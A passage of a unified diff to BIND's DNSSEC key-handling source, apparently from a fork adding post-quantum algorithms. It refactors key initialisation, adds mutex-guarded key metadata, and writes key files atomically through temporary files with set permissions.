+#include <errno.h>
+#include <fcntl.h>
 #include <inttypes.h>
 #include <stdbool.h>
 #include <stdlib.h>
 #include <time.h>
+#include <unistd.h>
 
 #include <isc/buffer.h>
 #include <isc/dir.h>
 #include <isc/file.h>
-#include <isc/fsaccess.h>
+#include <isc/fips.h>
 #include <isc/lex.h>
 #include <isc/mem.h>
 #include <isc/once.h>
-#include <isc/platform.h>
-#include <isc/print.h>
+#include <isc/os.h>
 #include <isc/random.h>
 #include <isc/refcount.h>
 #include <isc/safe.h>
@@ -46,10 +52,10 @@
 #include <isc/time.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #define DST_KEY_INTERNAL
 
+#include <isc/result.h>
+
 #include <dns/fixedname.h>
 #include <dns/keyvalues.h>
 #include <dns/name.h>
@@ -58,8 +64,6 @@
 #include <dns/ttl.h>
 #include <dns/types.h>
 
-#include <dst/result.h>
-
 #include "dst_internal.h"
 
 #define DST_AS_STR(t) ((t).value.as_textregion.base)
@@ -97,7 +101,8 @@
 
 #define NUMERIC_NTAGS (DST_MAX_NUMERIC + 1)
 static const char *numerictags[NUMERIC_NTAGS] = {
-	"Predecessor:", "Successor:", "MaxTTL:", "RollPeriod:", "Lifetime:"
+	"Predecessor:", "Successor:",  "MaxTTL:",    "RollPeriod:",
+	"Lifetime:",	"DSPubCount:", "DSRemCount:"
 };
 
 #define BOOLEAN_NTAGS (DST_MAX_BOOLEAN + 1)
@@ -192,18 +197,15 @@ dst_lib_init(isc_mem_t *mctx, const char *engine) {
 
 	UNUSED(engine);
 
-	dst_result_register();
-
 	memset(dst_t_func, 0, sizeof(dst_t_func));
+	RETERR(dst__openssl_init(engine)); /* Sets FIPS mode. */
 	RETERR(dst__hmacmd5_init(&dst_t_func[DST_ALG_HMACMD5]));
 	RETERR(dst__hmacsha1_init(&dst_t_func[DST_ALG_HMACSHA1]));
 	RETERR(dst__hmacsha224_init(&dst_t_func[DST_ALG_HMACSHA224]));
 	RETERR(dst__hmacsha256_init(&dst_t_func[DST_ALG_HMACSHA256]));
 	RETERR(dst__hmacsha384_init(&dst_t_func[DST_ALG_HMACSHA384]));
 	RETERR(dst__hmacsha512_init(&dst_t_func[DST_ALG_HMACSHA512]));
-	RETERR(dst__openssl_init(engine));
-	RETERR(dst__openssldh_init(&dst_t_func[DST_ALG_DH]));
-#if USE_OPENSSL
+	/* RSASHA1 (NSEC3RSASHA1) is verify only in FIPS mode. */
 	RETERR(dst__opensslrsa_init(&dst_t_func[DST_ALG_RSASHA1],
 				    DST_ALG_RSASHA1));
 	RETERR(dst__opensslrsa_init(&dst_t_func[DST_ALG_NSEC3RSASHA1],
@@ -215,31 +217,21 @@ dst_lib_init(isc_mem_t *mctx, const char *engine) {
 	RETERR(dst__opensslecdsa_init(&dst_t_func[DST_ALG_ECDSA256]));
 	RETERR(dst__opensslecdsa_init(&dst_t_func[DST_ALG_ECDSA384]));
 #ifdef HAVE_OPENSSL_ED25519
-	RETERR(dst__openssleddsa_init(&dst_t_func[DST_ALG_ED25519]));
+	RETERR(dst__openssleddsa_init(&dst_t_func[DST_ALG_ED25519],
+				      DST_ALG_ED25519));
 #endif /* ifdef HAVE_OPENSSL_ED25519 */
 #ifdef HAVE_OPENSSL_ED448
-	RETERR(dst__openssleddsa_init(&dst_t_func[DST_ALG_ED448]));
+	RETERR(dst__openssleddsa_init(&dst_t_func[DST_ALG_ED448],
+				      DST_ALG_ED448));
 #endif /* ifdef HAVE_OPENSSL_ED448 */
-#endif /* USE_OPENSSL */
-
-#if USE_PKCS11
-	RETERR(dst__pkcs11_init(mctx, engine));
-	RETERR(dst__pkcs11rsa_init(&dst_t_func[DST_ALG_RSASHA1]));
-	RETERR(dst__pkcs11rsa_init(&dst_t_func[DST_ALG_NSEC3RSASHA1]));
-	RETERR(dst__pkcs11rsa_init(&dst_t_func[DST_ALG_RSASHA256]));
-	RETERR(dst__pkcs11rsa_init(&dst_t_func[DST_ALG_RSASHA512]));
-	RETERR(dst__pkcs11ecdsa_init(&dst_t_func[DST_ALG_ECDSA256]));
-	RETERR(dst__pkcs11ecdsa_init(&dst_t_func[DST_ALG_ECDSA384]));
-	RETERR(dst__pkcs11eddsa_init(&dst_t_func[DST_ALG_ED25519]));
-	RETERR(dst__pkcs11eddsa_init(&dst_t_func[DST_ALG_ED448]));
-#endif /* USE_PKCS11 */
+
 #if HAVE_GSSAPI
 	RETERR(dst__gssapi_init(&dst_t_func[DST_ALG_GSSAPI]));
 #endif /* HAVE_GSSAPI */
 	RETERR(dst__opensslfalcon512_init(&dst_t_func[DST_ALG_FALCON512]));
 	RETERR(dst__openssldilithium2_init(&dst_t_func[DST_ALG_DILITHIUM2]));
 	RETERR(dst__opensslsphincssha256128s_init(&dst_t_func[DST_ALG_SPHINCSSHA256128S]));
-
+	
 	dst_initialized = true;
 	return (ISC_R_SUCCESS);
 
@@ -262,9 +254,6 @@ dst_lib_destroy(void) {
 		}
 	}
 	dst__openssl_destroy();
-#if USE_PKCS11
-	(void)dst__pkcs11_destroy();
-#endif /* USE_PKCS11 */
 }
 
 bool
@@ -302,16 +291,14 @@ dst_context_create(dst_key_t *key, isc_mem_t *mctx, isc_logcategory_t *category,
 		return (DST_R_NULLKEY);
 	}
 
-	dctx = isc_mem_get(mctx, sizeof(dst_context_t));
-	memset(dctx, 0, sizeof(*dctx));
+	dctx = isc_mem_get(mctx, sizeof(*dctx));
+	*dctx = (dst_context_t){
+		.category = category,
+		.use = (useforsigning) ? DO_SIGN : DO_VERIFY,
+	};
+
 	dst_key_attach(key, &dctx->key);
 	isc_mem_attach(mctx, &dctx->mctx);
-	dctx->category = category;
-	if (useforsigning) {
-		dctx->use = DO_SIGN;
-	} else {
-		dctx->use = DO_VERIFY;
-	}
 	if (key->func->createctx2 != NULL) {
 		result = key->func->createctx2(key, maxbits, dctx);
 	} else {
@@ -478,14 +465,40 @@ dst_key_tofile(const dst_key_t *key, int type, const char *directory) {
 
 void
 dst_key_setexternal(dst_key_t *key, bool value) {
+	REQUIRE(VALID_KEY(key));
+
 	key->external = value;
 }
 
 bool
 dst_key_isexternal(dst_key_t *key) {
+	REQUIRE(VALID_KEY(key));
+
 	return (key->external);
 }
 
+void
+dst_key_setmodified(dst_key_t *key, bool value) {
+	REQUIRE(VALID_KEY(key));
+
+	isc_mutex_lock(&key->mdlock);
+	key->modified = value;
+	isc_mutex_unlock(&key->mdlock);
+}
+
+bool
+dst_key_ismodified(const dst_key_t *key) {
+	bool modified;
+
+	REQUIRE(VALID_KEY(key));
+
+	isc_mutex_lock(&(((dst_key_t *)key)->mdlock));
+	modified = key->modified;
+	isc_mutex_unlock(&(((dst_key_t *)key)->mdlock));
+
+	return (modified);
+}
+
 isc_result_t
 dst_key_getfilename(dns_name_t *name, dns_keytag_t id, unsigned int alg,
 		    int type, const char *directory, isc_mem_t *mctx,
@@ -625,6 +638,7 @@ dst_key_fromnamedfile(const char *filename, const char *dirname, int type,
 	    (pubkey->key_flags & DNS_KEYFLAG_TYPEMASK) == DNS_KEYTYPE_NOKEY)
 	{
 		RETERR(computeid(pubkey));
+		pubkey->modified = false;
 		*keyp = pubkey;
 		pubkey = NULL;
 		goto out;
@@ -636,9 +650,6 @@ dst_key_fromnamedfile(const char *filename, const char *dirname, int type,
 			     pubkey->key_flags, pubkey->key_proto,
 			     pubkey->key_size, pubkey->key_class,
 			     pubkey->key_ttl, mctx);
-	if (key == NULL) {
-		RETERR(ISC_R_NOMEMORY);
-	}
 
 	if (key->func->parse == NULL) {
 		RETERR(DST_R_UNSUPPORTEDALG);
@@ -653,7 +664,7 @@ dst_key_fromnamedfile(const char *filename, const char *dirname, int type,
 			   ".private");
 	INSIST(result == ISC_R_SUCCESS);
 
-	RETERR(isc_lex_create(mctx, 1500, &lex));
+	isc_lex_create(mctx, 1500, &lex);
 	RETERR(isc_lex_openfile(lex, newfilename));
 	isc_mem_put(mctx, newfilename, newfilenamelen);
 	RETERR(key->func->parse(key, lex, pubkey));
@@ -674,6 +685,7 @@ dst_key_fromnamedfile(const char *filename, const char *dirname, int type,
 		RETERR(DST_R_INVALIDPRIVATEKEY);
 	}
 
+	key->modified = false;
 	*keyp = key;
 	key = NULL;
 
@@ -825,7 +837,7 @@ dst_key_privatefrombuffer(dst_key_t *key, isc_buffer_t *buffer) {
 		RETERR(DST_R_UNSUPPORTEDALG);
 	}
 
-	RETERR(isc_lex_create(key->mctx, 1500, &lex));
+	isc_lex_create(key->mctx, 1500, &lex);
 	RETERR(isc_lex_openbuffer(lex, buffer));
 	RETERR(key->func->parse(key, lex, NULL));
 out:
@@ -853,9 +865,6 @@ dst_key_fromgssapi(const dns_name_t *name, dns_gss_ctx_id_t gssctx,
 
 	key = get_key_struct(name, DST_ALG_GSSAPI, 0, DNS_KEYPROTO_DNSSEC, 0,
 			     dns_rdataclass_in, 0, mctx);
-	if (key == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 
 	if (intoken != NULL) {
 		/*
@@ -877,6 +886,66 @@ dst_key_fromgssapi(const dns_name_t *name, dns_gss_ctx_id_t gssctx,
 	return (result);
 }
 
+FILE *
+dst_key_open(char *tmpname, mode_t mode) {
+	/* Create public key file. */
+	int fd = mkstemp(tmpname);
+	if (fd == -1) {
+		return (NULL);
+	}
+
+	if (fchmod(fd, mode & ~isc_os_umask()) != 0) {
+		goto error;
+	}
+
+	FILE *fp = fdopen(fd, "w");
+	if (fp == NULL) {
+		goto error;
+	}
+
+	return (fp);
+error:
+	(void)close(fd);
+	(void)unlink(tmpname);
+	return (NULL);
+}
+
+isc_result_t
+dst_key_close(char *tmpname, FILE *fp, char *filename) {
+	if ((fflush(fp) != 0) || (ferror(fp) != 0)) {
+		return (dst_key_cleanup(tmpname, fp));
+	}
+
+	if (rename(tmpname, filename) != 0) {
+		return (dst_key_cleanup(tmpname, fp));
+	}
+
+	if (fclose(fp) != 0) {
+		/*
+		 * This is in fact error, but we don't care at this point,
+		 * as the file has been already flushed to disk.
+		 */
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+dst_key_cleanup(char *tmpname, FILE *fp) {
+	if (ftruncate(fileno(fp), 0) != 0) {
+		/*
+		 * ftruncate() result can't be ignored, but we don't care, as
+		 * any sensitive data are protected by the permissions, and
+		 * unlinked in the next step, this is just a good practice.
+		 */
+	}
+
+	(void)unlink(tmpname);
+	(void)fclose(fp);
+
+	return (DST_R_WRITEERROR);
+}
+
 isc_result_t
 dst_key_buildinternal(const dns_name_t *name, unsigned int alg,
 		      unsigned int bits, unsigned int flags,
@@ -895,9 +964,6 @@ dst_key_buildinternal(const dns_name_t *name, unsigned int alg,
 
 	key = get_key_struct(name, alg, flags, protocol, bits, rdclass, 0,
 			     mctx);
-	if (key == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 
 	key->keydata.generic = data;
 
@@ -928,9 +994,6 @@ dst_key_fromlabel(const dns_name_t *name, int alg, unsigned int flags,
 	CHECKALG(alg);
 
 	key = get_key_struct(name, alg, flags, protocol, 0, rdclass, 0, mctx);
-	if (key == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 
 	if (key->func->fromlabel == NULL) {
 		dst_key_free(&key);
@@ -970,9 +1033,6 @@ dst_key_generate(const dns_name_t *name, unsigned int alg, unsigned int bits,
 
 	key = get_key_struct(name, alg, flags, protocol, bits, rdclass, 0,
 			     mctx);
-	if (key == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 
 	if (bits == 0) { /*%< NULL KEY */
 		key->key_flags |= DNS_KEYTYPE_NOKEY;
@@ -1006,10 +1066,15 @@ dst_key_getbool(const dst_key_t *key, int type, bool *valuep) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(valuep != NULL);
 	REQUIRE(type <= DST_MAX_BOOLEAN);
+
+	isc_mutex_lock(&(((dst_key_t *)key)->mdlock));
 	if (!key->boolset[type]) {
+		isc_mutex_unlock(&(((dst_key_t *)key)->mdlock));
 		return (ISC_R_NOTFOUND);
 	}
 	*valuep = key->bools[type];
+	isc_mutex_unlock(&(((dst_key_t *)key)->mdlock));
+
 	return (ISC_R_SUCCESS);
 }
 
@@ -1017,15 +1082,24 @@ void
 dst_key_setbool(dst_key_t *key, int type, bool value) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(type <= DST_MAX_BOOLEAN);
+
+	isc_mutex_lock(&key->mdlock);
+	key->modified = key->modified || !key->boolset[type] ||
+			key->bools[type] != value;
 	key->bools[type] = value;
 	key->boolset[type] = true;
+	isc_mutex_unlock(&key->mdlock);
 }
 
 void
 dst_key_unsetbool(dst_key_t *key, int type) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(type <= DST_MAX_BOOLEAN);
+
+	isc_mutex_lock(&key->mdlock);
+	key->modified = key->modified || key->boolset[type];
 	key->boolset[type] = false;
+	isc_mutex_unlock(&key->mdlock);
 }
 
 isc_result_t
@@ -1033,10 +1107,15 @@ dst_key_getnum(const dst_key_t *key, int type, uint32_t *valuep) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(valuep != NULL);
 	REQUIRE(type <= DST_MAX_NUMERIC);
+
+	isc_mutex_lock(&(((dst_key_t *)key)->mdlock));
 	if (!key->numset[type]) {
+		isc_mutex_unlock(&(((dst_key_t *)key)->mdlock));
 		return (ISC_R_NOTFOUND);
 	}
 	*valuep = key->nums[type];
+	isc_mutex_unlock(&(((dst_key_t *)key)->mdlock));
+
 	return (ISC_R_SUCCESS);
 }
 
@@ -1044,15 +1123,24 @@ void
 dst_key_setnum(dst_key_t *key, int type, uint32_t value) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(type <= DST_MAX_NUMERIC);
+
+	isc_mutex_lock(&key->mdlock);
+	key->modified = key->modified || !key->numset[type] ||
+			key->nums[type] != value;
 	key->nums[type] = value;
 	key->numset[type] = true;
+	isc_mutex_unlock(&key->mdlock);
 }
 
 void
 dst_key_unsetnum(dst_key_t *key, int type) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(type <= DST_MAX_NUMERIC);
+
+	isc_mutex_lock(&key->mdlock);
+	key->modified = key->modified || key->numset[type];
 	key->numset[type] = false;
+	isc_mutex_unlock(&key->mdlock);
 }
 
 isc_result_t
@@ -1060,10 +1148,14 @@ dst_key_gettime(const dst_key_t *key, int type, isc_stdtime_t *timep) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(timep != NULL);
 	REQUIRE(type <= DST_MAX_TIMES);
+
+	isc_mutex_lock(&(((dst_key_t *)key)->mdlock));
 	if (!key->timeset[type]) {
+		isc_mutex_unlock(&(((dst_key_t *)key)->mdlock));
 		return (ISC_R_NOTFOUND);
 	}
 	*timep = key->times[type];
+	isc_mutex_unlock(&(((dst_key_t *)key)->mdlock));
 	return (ISC_R_SUCCESS);
 }
 
@@ -1071,15 +1163,24 @@ void
 dst_key_settime(dst_key_t *key, int type, isc_stdtime_t when) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(type <= DST_MAX_TIMES);
+
+	isc_mutex_lock(&key->mdlock);
+	key->modified = key->modified || !key->timeset[type] ||
+			key->times[type] != when;
 	key->times[type] = when;
 	key->timeset[type] = true;
+	isc_mutex_unlock(&key->mdlock);
 }
 
 void
 dst_key_unsettime(dst_key_t *key, int type) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(type <= DST_MAX_TIMES);
+
+	isc_mutex_lock(&key->mdlock);
+	key->modified = key->modified || key->timeset[type];
 	key->timeset[type] = false;
+	isc_mutex_unlock(&key->mdlock);
 }
 
 isc_result_t
@@ -1087,10 +1188,15 @@ dst_key_getstate(const dst_key_t *key, int type, dst_key_state_t *statep) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(statep != NULL);
 	REQUIRE(type <= DST_MAX_KEYSTATES);
+
+	isc_mutex_lock(&(((dst_key_t *)key)->mdlock));
 	if (!key->keystateset[type]) {
+		isc_mutex_unlock(&(((dst_key_t *)key)->mdlock));
 		return (ISC_R_NOTFOUND);
 	}
 	*statep = key->keystates[type];
+	isc_mutex_unlock(&(((dst_key_t *)key)->mdlock));
+
 	return (ISC_R_SUCCESS);
 }
 
@@ -1098,15 +1204,24 @@ void
 dst_key_setstate(dst_key_t *key, int type, dst_key_state_t state) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(type <= DST_MAX_KEYSTATES);
+
+	isc_mutex_lock(&key->mdlock);
+	key->modified = key->modified || !key->keystateset[type] ||
+			key->keystates[type] != state;
 	key->keystates[type] = state;
 	key->keystateset[type] = true;
+	isc_mutex_unlock(&key->mdlock);
 }
 
 void
 dst_key_unsetstate(dst_key_t *key, int type) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(type <= DST_MAX_KEYSTATES);
+
+	isc_mutex_lock(&key->mdlock);
+	key->modified = key->modified || key->keystateset[type];
 	key->keystateset[type] = false;
+	isc_mutex_unlock(&key->mdlock);
 }
 
 isc_result_t
@@ -1152,7 +1267,8 @@ comparekeys(const dst_key_t *key1, const dst_key_t *key2,
 			return (false);
 		}
 		if (key1->key_id != key2->key_rid &&
-		    key1->key_rid != key2->key_id) {
+		    key1->key_rid != key2->key_id)
+		{
 			return (false);
 		}
 	}
@@ -1277,6 +1393,7 @@ dst_key_free(dst_key_t **keyp) {
 		if (key->key_tkeytoken) {
 			isc_buffer_free(&key->key_tkeytoken);
 		}
+		isc_mutex_destroy(&key->mdlock);
 		isc_safe_memwipe(key, sizeof(*key));
 		isc_mem_putanddetach(&mctx, key, sizeof(*key));
 	}
@@ -1294,7 +1411,8 @@ dst_key_buildfilename(const dst_key_t *key, int type, const char *directory,
 		      isc_buffer_t *out) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(type == DST_TYPE_PRIVATE || type == DST_TYPE_PUBLIC ||
-		type == DST_TYPE_STATE || type == 0);
+		type == DST_TYPE_STATE || type == DST_TYPE_TEMPLATE ||
+		type == 0);
 
 	return (buildfilename(key->key_name, key->key_id, key->key_alg, type,
 			      directory, out));
@@ -1306,7 +1424,6 @@ dst_key_sigsize(const dst_key_t *key, unsigned int *n) {
 	REQUIRE(VALID_KEY(key));
 	REQUIRE(n != NULL);
 
-	/* XXXVIX this switch statement is too sparse to gen a jump table. */
 	switch (key->key_alg) {
 	case DST_ALG_RSASHA1:
 	case DST_ALG_NSEC3RSASHA1:
@@ -1363,19 +1480,6 @@ dst_key_sigsize(const dst_key_t *key, unsigned int *n) {
 	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
-dst_key_secretsize(const dst_key_t *key, unsigned int *n) {
-	REQUIRE(dst_initialized);
-	REQUIRE(VALID_KEY(key));
-	REQUIRE(n != NULL);
-
-	if (key->key_alg == DST_ALG_DH) {
-		*n = (key->key_size + 7) / 8;
-		return (ISC_R_SUCCESS);
-	}
-	return (DST_R_UNSUPPORTEDALG);
-}
-
 /*%
  * Set the flags on a key, then recompute the key ID
  */
@@ -1428,9 +1532,6 @@ dst_key_restore(dns_name_t *name, unsigned int alg, unsigned int flags,
 	}
 
 	key = get_key_struct(name, alg, flags, protocol, 0, rdclass, 0, mctx);
-	if (key == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 
 	result = (dst_t_func[alg]->restore)(key, keystr);
 	if (result == ISC_R_SUCCESS) {
@@ -1454,34 +1555,27 @@ get_key_struct(const dns_name_t *name, unsigned int alg, unsigned int flags,
 	       unsigned int protocol, unsigned int bits,
 	       dns_rdataclass_t rdclass, dns_ttl_t ttl, isc_mem_t *mctx) {
 	dst_key_t *key;
-	int i;
 
 	key = isc_mem_get(mctx, sizeof(dst_key_t));
-
-	memset(key, 0, sizeof(dst_key_t));
-
-	key->key_name = isc_mem_get(mctx, sizeof(dns_name_t));
+	*key = (dst_key_t){
+		.key_name = isc_mem_get(mctx, sizeof(dns_name_t)),
+		.key_alg = alg,
+		.key_flags = flags,
+		.key_proto = protocol,
+		.key_size = bits,
+		.key_class = rdclass,
+		.key_ttl = ttl,
+		.func = dst_t_func[alg],
+	};
 
 	dns_name_init(key->key_name, NULL);
 	dns_name_dup(name, mctx, key->key_name);
 
 	isc_refcount_init(&key->refs, 1);
 	isc_mem_attach(mctx, &key->mctx);
-	key->key_alg = alg;
-	key->key_flags = flags;
-	key->key_proto = protocol;
-	key->keydata.generic = NULL;
-	key->key_size = bits;
-	key->key_class = rdclass;
-	key->key_ttl = ttl;
-	key->func = dst_t_func[alg];
-	key->fmt_major = 0;
-	key->fmt_minor = 0;
-	for (i = 0; i < (DST_MAX_TIMES + 1); i++) {
-		key->times[i] = 0;
-		key->timeset[i] = false;
-	}
-	key->inactive = false;
+
+	isc_mutex_init(&key->mdlock);
+
 	key->magic = KEY_MAGIC;
 	return (key);
 }
@@ -1528,10 +1622,7 @@ dst_key_read_public(const char *filename, int type, isc_mem_t *mctx,
 	 */
 
 	/* 1500 should be large enough for any key */
-	ret = isc_lex_create(mctx, 1500, &lex);
-	if (ret != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	isc_lex_create(mctx, 1500, &lex);
 
 	memset(specials, 0, sizeof(specials));
 	specials['('] = 1;
@@ -1681,10 +1772,7 @@ dst_key_read_state(const char *filename, isc_mem_t *mctx, dst_key_t **keyp) {
 	isc_result_t ret;
 	unsigned int opt = ISC_LEXOPT_EOL;
 
-	ret = isc_lex_create(mctx, 1500, &lex);
-	if (ret != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	isc_lex_create(mctx, 1500, &lex);
 	isc_lex_setcomments(lex, ISC_LEXCOMMENT_DNSMASTERFILE);
 
 	ret = isc_lex_openfile(lex, filename);
@@ -1844,13 +1932,11 @@ issymmetric(const dst_key_t *key) {
 	REQUIRE(dst_initialized);
 	REQUIRE(VALID_KEY(key));
 
-	/* XXXVIX this switch statement is too sparse to gen a jump table. */
 	switch (key->key_alg) {
 	case DST_ALG_RSASHA1:
 	case DST_ALG_NSEC3RSASHA1:
 	case DST_ALG_RSASHA256:
 	case DST_ALG_RSASHA512:
-	case DST_ALG_DH:
 	case DST_ALG_ECDSA256:
 	case DST_ALG_ECDSA384:
 	case DST_ALG_ED25519:
@@ -1953,9 +2039,10 @@ static isc_result_t
 write_key_state(const dst_key_t *key, int type, const char *directory) {
 	FILE *fp;
 	isc_buffer_t fileb;
+	isc_buffer_t tmpb;
 	char filename[NAME_MAX];
-	isc_result_t ret;
-	isc_fsaccess_t access;
+	char tmpname[NAME_MAX];
+	isc_result_t result;
 
 	REQUIRE(VALID_KEY(key));
 
@@ -1963,33 +2050,33 @@ write_key_state(const dst_key_t *key, int type, const char *directory) {
 	 * Make the filename.
 	 */
 	isc_buffer_init(&fileb, filename, sizeof(filename));
-	ret = dst_key_buildfilename(key, DST_TYPE_STATE, directory, &fileb);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
+	result = dst_key_buildfilename(key, DST_TYPE_STATE, directory, &fileb);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 
-	/*
-	 * Create public key file.
-	 */
-	if ((fp = fopen(filename, "w")) == NULL) {
-		return (DST_R_WRITEERROR);
+	isc_buffer_init(&tmpb, tmpname, sizeof(tmpname));
+	result = dst_key_buildfilename(key, DST_TYPE_TEMPLATE, directory,
+				       &tmpb);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 
-	if (issymmetric(key)) {
-		access = 0;
-		isc_fsaccess_add(ISC_FSACCESS_OWNER,
-				 ISC_FSACCESS_READ | ISC_FSACCESS_WRITE,
-				 &access);
-		(void)isc_fsaccess_set(filename, access);
+	mode_t mode = issymmetric(key) ? S_IRUSR | S_IWUSR
+				       : S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH;
+
+	/* Create temporary public key file. */
+	fp = dst_key_open(tmpname, mode);
+	if (fp == NULL) {
+		return (DST_R_WRITEERROR);
 	}
 
 	/* Write key state */
 	if ((type & DST_TYPE_KEY) == 0) {
 		fprintf(fp, "; This is the state of key %d, for ", key->key_id);
-		ret = dns_name_print(key->key_name, fp);
-		if (ret != ISC_R_SUCCESS) {
-			fclose(fp);
-			return (ret);
+		result = dns_name_print(key->key_name, fp);
+		if (result != ISC_R_SUCCESS) {
+			return (dst_key_cleanup(tmpname, fp));
 		}
 		fputc('\n', fp);
 
@@ -2014,6 +2101,9 @@ write_key_state(const dst_key_t *key, int type, const char *directory) {
 		printtime(key, DST_TIME_SYNCPUBLISH, "PublishCDS", fp);
 		printtime(key, DST_TIME_SYNCDELETE, "DeleteCDS", fp);
 
+		printnum(key, DST_NUM_DSPUBCOUNT, "DSPubCount", fp);
+		printnum(key, DST_NUM_DSDELCOUNT, "DSDelCount", fp);
+
 		printtime(key, DST_TIME_DNSKEY, "DNSKEYChange", fp);
 		printtime(key, DST_TIME_ZRRSIG, "ZRRSIGChange", fp);
 		printtime(key, DST_TIME_KRRSIG, "KRRSIGChange", fp);
@@ -2026,13 +2116,7 @@ write_key_state(const dst_key_t *key, int type, const char *directory) {
 		printstate(key, DST_KEY_GOAL, "GoalState", fp);
 	}
 
-	fflush(fp);
-	if (ferror(fp)) {
-		ret = DST_R_WRITEERROR;
-	}
-	fclose(fp);
-
-	return (ret);
+	return (dst_key_close(tmpname, fp, filename));
 }
 
 /*%
@@ -2041,15 +2125,15 @@ write_key_state(const dst_key_t *key, int type, const char *directory) {
 static isc_result_t
 write_public_key(const dst_key_t *key, int type, const char *directory) {
 	FILE *fp;
-	isc_buffer_t keyb, textb, fileb, classb;
+	isc_buffer_t keyb, tmpb, textb, fileb, classb;
 	isc_region_t r;
+	char tmpname[NAME_MAX];
 	char filename[NAME_MAX];
 	unsigned char key_array[DST_KEY_MAXSIZE];
 	char text_array[DST_KEY_MAXTEXTSIZE];
 	char class_array[10];
-	isc_result_t ret;
+	isc_result_t result;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
-	isc_fsaccess_t access;
 
 	REQUIRE(VALID_KEY(key));
 
@@ -2057,21 +2141,21 @@ write_public_key(const dst_key_t *key, int type, const char *directory) {
 	isc_buffer_init(&textb, text_array, sizeof(text_array));
 	isc_buffer_init(&classb, class_array, sizeof(class_array));
 
-	ret = dst_key_todns(key, &keyb);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
+	result = dst_key_todns(key, &keyb);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 
 	isc_buffer_usedregion(&keyb, &r);
 	dns_rdata_fromregion(&rdata, key->key_class, dns_rdatatype_dnskey, &r);
 
-	ret = dns_rdata_totext(&rdata, (dns_name_t *)NULL, &textb);
-	if (ret != ISC_R_SUCCESS) {
+	result = dns_rdata_totext(&rdata, (dns_name_t *)NULL, &textb);
+	if (result != ISC_R_SUCCESS) {
 		return (DST_R_INVALIDPUBLICKEY);
 	}
 
-	ret = dns_rdataclass_totext(key->key_class, &classb);
-	if (ret != ISC_R_SUCCESS) {
+	result = dns_rdataclass_totext(key->key_class, &classb);
+	if (result != ISC_R_SUCCESS) {
 		return (DST_R_INVALIDPUBLICKEY);
 	}
 
@@ -2079,24 +2163,25 @@ write_public_key(const dst_key_t *key, int type, const char *directory) {
 	 * Make the filename.
 	 */
 	isc_buffer_init(&fileb, filename, sizeof(filename));
-	ret = dst_key_buildfilename(key, DST_TYPE_PUBLIC, directory, &fileb);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
+	result = dst_key_buildfilename(key, DST_TYPE_PUBLIC, directory, &fileb);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 
-	/*
-	 * Create public key file.
-	 */
-	if ((fp = fopen(filename, "w")) == NULL) {
-		return (DST_R_WRITEERROR);
+	isc_buffer_init(&tmpb, tmpname, sizeof(tmpname));
+	result = dst_key_buildfilename(key, DST_TYPE_TEMPLATE, directory,
+				       &tmpb);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 
-	if (issymmetric(key)) {
-		access = 0;
-		isc_fsaccess_add(ISC_FSACCESS_OWNER,
-				 ISC_FSACCESS_READ | ISC_FSACCESS_WRITE,
-				 &access);
-		(void)isc_fsaccess_set(filename, access);
+	/* Create temporary public key file. */
+	mode_t mode = issymmetric(key) ? S_IRUSR | S_IWUSR
+				       : S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH;
+
+	fp = dst_key_open(tmpname, mode);
+	if (fp == NULL) {
+		return (DST_R_WRITEERROR);
 	}
 
 	/* Write key information in comments */
@@ -2107,10 +2192,9 @@ write_public_key(const dst_key_t *key, int type, const char *directory) {
 			(key->key_flags & DNS_KEYFLAG_KSK) != 0 ? "key"
 								: "zone",
 			key->key_id);
-		ret = dns_name_print(key->key_name, fp);
-		if (ret != ISC_R_SUCCESS) {
-			fclose(fp);
-			return (ret);
+		result = dns_name_print(key->key_name, fp);
+		if (result != ISC_R_SUCCESS) {
+			return (dst_key_cleanup(tmpname, fp));
 		}
 		fputc('\n', fp);
 
@@ -2125,7 +2209,10 @@ write_public_key(const dst_key_t *key, int type, const char *directory) {
 	}
 
 	/* Now print the actual key */
-	ret = dns_name_print(key->key_name, fp);
+	result = dns_name_print(key->key_name, fp);
+	if (result != ISC_R_SUCCESS) {
+		return (dst_key_cleanup(tmpname, fp));
+	}
 	fprintf(fp, " ");
 
 	if (key->key_ttl != 0) {
@@ -2133,8 +2220,8 @@ write_public_key(const dst_key_t *key, int type, const char *directory) {
 	}
 
 	isc_buffer_usedregion(&classb, &r);
-	if ((unsigned)fwrite(r.base, 1, r.length, fp) != r.length) {
-		ret = DST_R_WRITEERROR;
+	if ((unsigned int)fwrite(r.base, 1, r.length, fp) != r.length) {
+		return (dst_key_cleanup(tmpname, fp));
 	}
 
 	if ((type & DST_TYPE_KEY) != 0) {
@@ -2144,18 +2231,13 @@ write_public_key(const dst_key_t *key, int type, const char *directory) {
